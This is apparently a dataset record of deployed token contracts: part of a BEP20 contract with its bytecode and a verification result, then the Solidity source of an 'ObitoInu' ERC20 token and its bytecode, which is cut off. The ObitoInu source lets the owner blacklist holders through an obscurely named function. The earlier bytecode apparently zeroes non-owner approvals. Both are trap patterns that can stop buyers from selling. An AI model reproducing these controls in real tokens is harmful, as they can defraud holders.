function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c70565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110ba60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2a9092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c70565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110986022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b825780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3610c6b565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110736025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111086023913960400191505060405180910390fd5b610de8816040518060600160405280602681526020016110e260269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2a9092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7d81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fea90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9c578082015181840152602081019050610f81565b50505050905090810190601f168015610fc95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611068576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122077aab2fed6f6cfd28d51ace959801fb3a54cd235afa1cb12f2ad9fc600c652f264736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,761 |
0x36956425d5d893ab8e7b3e97f1e62d944ba03d93
|
/**
*Submitted for verification at Etherscan.io on 2022-04-12
*/
pragma solidity ^0.8.10;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ObitoInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "ObitoInu";
string private constant _symbol = "ObitoInu";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x55196DD7377b00E2017e8CD29A529E1330091823);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 4;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 6;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2000000000 * 10**9;
_maxWalletSize = 3000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb1461030a578063b87f137a1461032a578063c3c8cd801461034a578063c9567bf91461035f578063dd62ed3e1461037457600080fd5b806370a0823114610298578063715018a6146102b8578063751039fc146102cd5780638da5cb5b146102e257806395d89b411461012f57600080fd5b8063273123b7116100e7578063273123b714610207578063313ce567146102275780635932ead114610243578063677daa57146102635780636fc3eaec1461028357600080fd5b806306fdde031461012f578063095ea7b31461016f57806318160ddd1461019f5780631b3f71ae146101c557806323b872dd146101e757600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201825260088152674f6269746f496e7560c01b6020820152905161016691906116e5565b60405180910390f35b34801561017b57600080fd5b5061018f61018a36600461175f565b6103ba565b6040519015158152602001610166565b3480156101ab57600080fd5b5068056bc75e2d631000005b604051908152602001610166565b3480156101d157600080fd5b506101e56101e03660046117a1565b6103d1565b005b3480156101f357600080fd5b5061018f610202366004611866565b610470565b34801561021357600080fd5b506101e56102223660046118a7565b6104d9565b34801561023357600080fd5b5060405160098152602001610166565b34801561024f57600080fd5b506101e561025e3660046118d2565b610524565b34801561026f57600080fd5b506101e561027e3660046118ef565b61056c565b34801561028f57600080fd5b506101e56105c7565b3480156102a457600080fd5b506101b76102b33660046118a7565b6105f4565b3480156102c457600080fd5b506101e5610616565b3480156102d957600080fd5b506101e561068a565b3480156102ee57600080fd5b506000546040516001600160a01b039091168152602001610166565b34801561031657600080fd5b5061018f61032536600461175f565b6106c8565b34801561033657600080fd5b506101e56103453660046118ef565b6106d5565b34801561035657600080fd5b506101e561072a565b34801561036b57600080fd5b506101e5610760565b34801561038057600080fd5b506101b761038f366004611908565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c7338484610ae4565b5060015b92915050565b6000546001600160a01b031633146104045760405162461bcd60e51b81526004016103fb90611941565b60405180910390fd5b60005b815181101561046c5760016006600084848151811061042857610428611976565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610464816119a2565b915050610407565b5050565b600061047d848484610c08565b6104cf84336104ca85604051806060016040528060288152602001611b07602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611012565b610ae4565b5060019392505050565b6000546001600160a01b031633146105035760405162461bcd60e51b81526004016103fb90611941565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461054e5760405162461bcd60e51b81526004016103fb90611941565b600e8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105965760405162461bcd60e51b81526004016103fb90611941565b600081116105a357600080fd5b6105c160646105bb68056bc75e2d631000008461104c565b906110d2565b600f5550565b600c546001600160a01b0316336001600160a01b0316146105e757600080fd5b476105f181611114565b50565b6001600160a01b0381166000908152600260205260408120546103cb9061114e565b6000546001600160a01b031633146106405760405162461bcd60e51b81526004016103fb90611941565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106b45760405162461bcd60e51b81526004016103fb90611941565b68056bc75e2d63100000600f819055601055565b60006103c7338484610c08565b6000546001600160a01b031633146106ff5760405162461bcd60e51b81526004016103fb90611941565b6000811161070c57600080fd5b61072460646105bb68056bc75e2d631000008461104c565b60105550565b600c546001600160a01b0316336001600160a01b03161461074a57600080fd5b6000610755306105f4565b90506105f1816111cb565b6000546001600160a01b0316331461078a5760405162461bcd60e51b81526004016103fb90611941565b600e54600160a01b900460ff16156107e45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103fb565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610821308268056bc75e2d63100000610ae4565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561085f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088391906119bd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f491906119bd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610941573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096591906119bd565b600e80546001600160a01b0319166001600160a01b03928316179055600d541663f305d7194730610995816105f4565b6000806109aa6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a12573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3791906119da565b5050600e8054671bc16d674ec80000600f556729a2241af62c000060105563ffff00ff60a01b198116630101000160a01b17909155600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610ac0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046c9190611a08565b6001600160a01b038316610b465760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103fb565b6001600160a01b038216610ba75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103fb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c6c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103fb565b6001600160a01b038216610cce5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103fb565b60008111610d305760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103fb565b6000600a556004600b55610d4c6000546001600160a01b031690565b6001600160a01b0316836001600160a01b031614158015610d7b57506000546001600160a01b03838116911614155b15611002576001600160a01b03831660009081526006602052604090205460ff16158015610dc257506001600160a01b03821660009081526006602052604090205460ff16155b610dcb57600080fd5b600e546001600160a01b038481169116148015610df65750600d546001600160a01b03838116911614155b8015610e1b57506001600160a01b03821660009081526005602052604090205460ff16155b8015610e305750600e54600160b81b900460ff165b15610f3557600f54811115610e875760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016103fb565b60105481610e94846105f4565b610e9e9190611a25565b1115610eec5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016103fb565b6001600160a01b0382166000908152600760205260409020544211610f1057600080fd5b610f1b42601e611a25565b6001600160a01b0383166000908152600760205260409020555b600e546001600160a01b038381169116148015610f605750600d546001600160a01b03848116911614155b8015610f8557506001600160a01b03831660009081526005602052604090205460ff16155b15610f95576000600a556006600b555b6000610fa0306105f4565b600e54909150600160a81b900460ff16158015610fcb5750600e546001600160a01b03858116911614155b8015610fe05750600e54600160b01b900460ff165b1561100057610fee816111cb565b478015610ffe57610ffe47611114565b505b505b61100d838383611345565b505050565b600081848411156110365760405162461bcd60e51b81526004016103fb91906116e5565b5060006110438486611a3d565b95945050505050565b60008261105b575060006103cb565b60006110678385611a54565b9050826110748583611a73565b146110cb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103fb565b9392505050565b60006110cb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611350565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561046c573d6000803e3d6000fd5b60006008548211156111b55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103fb565b60006111bf61137e565b90506110cb83826110d2565b600e805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061121357611213611976565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561126c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129091906119bd565b816001815181106112a3576112a3611976565b6001600160a01b039283166020918202929092010152600d546112c99130911684610ae4565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611302908590600090869030904290600401611a95565b600060405180830381600087803b15801561131c57600080fd5b505af1158015611330573d6000803e3d6000fd5b5050600e805460ff60a81b1916905550505050565b61100d8383836113a1565b600081836113715760405162461bcd60e51b81526004016103fb91906116e5565b5060006110438486611a73565b600080600061138b611498565b909250905061139a82826110d2565b9250505090565b6000806000806000806113b3876114da565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113e59087611537565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114149086611579565b6001600160a01b038916600090815260026020526040902055611436816115d8565b6114408483611622565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161148591815260200190565b60405180910390a3505050505050505050565b600854600090819068056bc75e2d631000006114b482826110d2565b8210156114d15750506008549268056bc75e2d6310000092509050565b90939092509050565b60008060008060008060008060006114f78a600a54600b54611646565b925092509250600061150761137e565b9050600080600061151a8e878787611695565b919e509c509a509598509396509194505050505091939550919395565b60006110cb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611012565b6000806115868385611a25565b9050838110156110cb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103fb565b60006115e261137e565b905060006115f0838361104c565b3060009081526002602052604090205490915061160d9082611579565b30600090815260026020526040902055505050565b60085461162f9083611537565b60085560095461163f9082611579565b6009555050565b600080808061165a60646105bb898961104c565b9050600061166d60646105bb8a8961104c565b905060006116858261167f8b86611537565b90611537565b9992985090965090945050505050565b60008080806116a4888661104c565b905060006116b2888761104c565b905060006116c0888861104c565b905060006116d28261167f8686611537565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611712578581018301518582016040015282016116f6565b81811115611724576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146105f157600080fd5b803561175a8161173a565b919050565b6000806040838503121561177257600080fd5b823561177d8161173a565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117b457600080fd5b823567ffffffffffffffff808211156117cc57600080fd5b818501915085601f8301126117e057600080fd5b8135818111156117f2576117f261178b565b8060051b604051601f19603f830116810181811085821117156118175761181761178b565b60405291825284820192508381018501918883111561183557600080fd5b938501935b8285101561185a5761184b8561174f565b8452938501939285019261183a565b98975050505050505050565b60008060006060848603121561187b57600080fd5b83356118868161173a565b925060208401356118968161173a565b929592945050506040919091013590565b6000602082840312156118b957600080fd5b81356110cb8161173a565b80151581146105f157600080fd5b6000602082840312156118e457600080fd5b8135611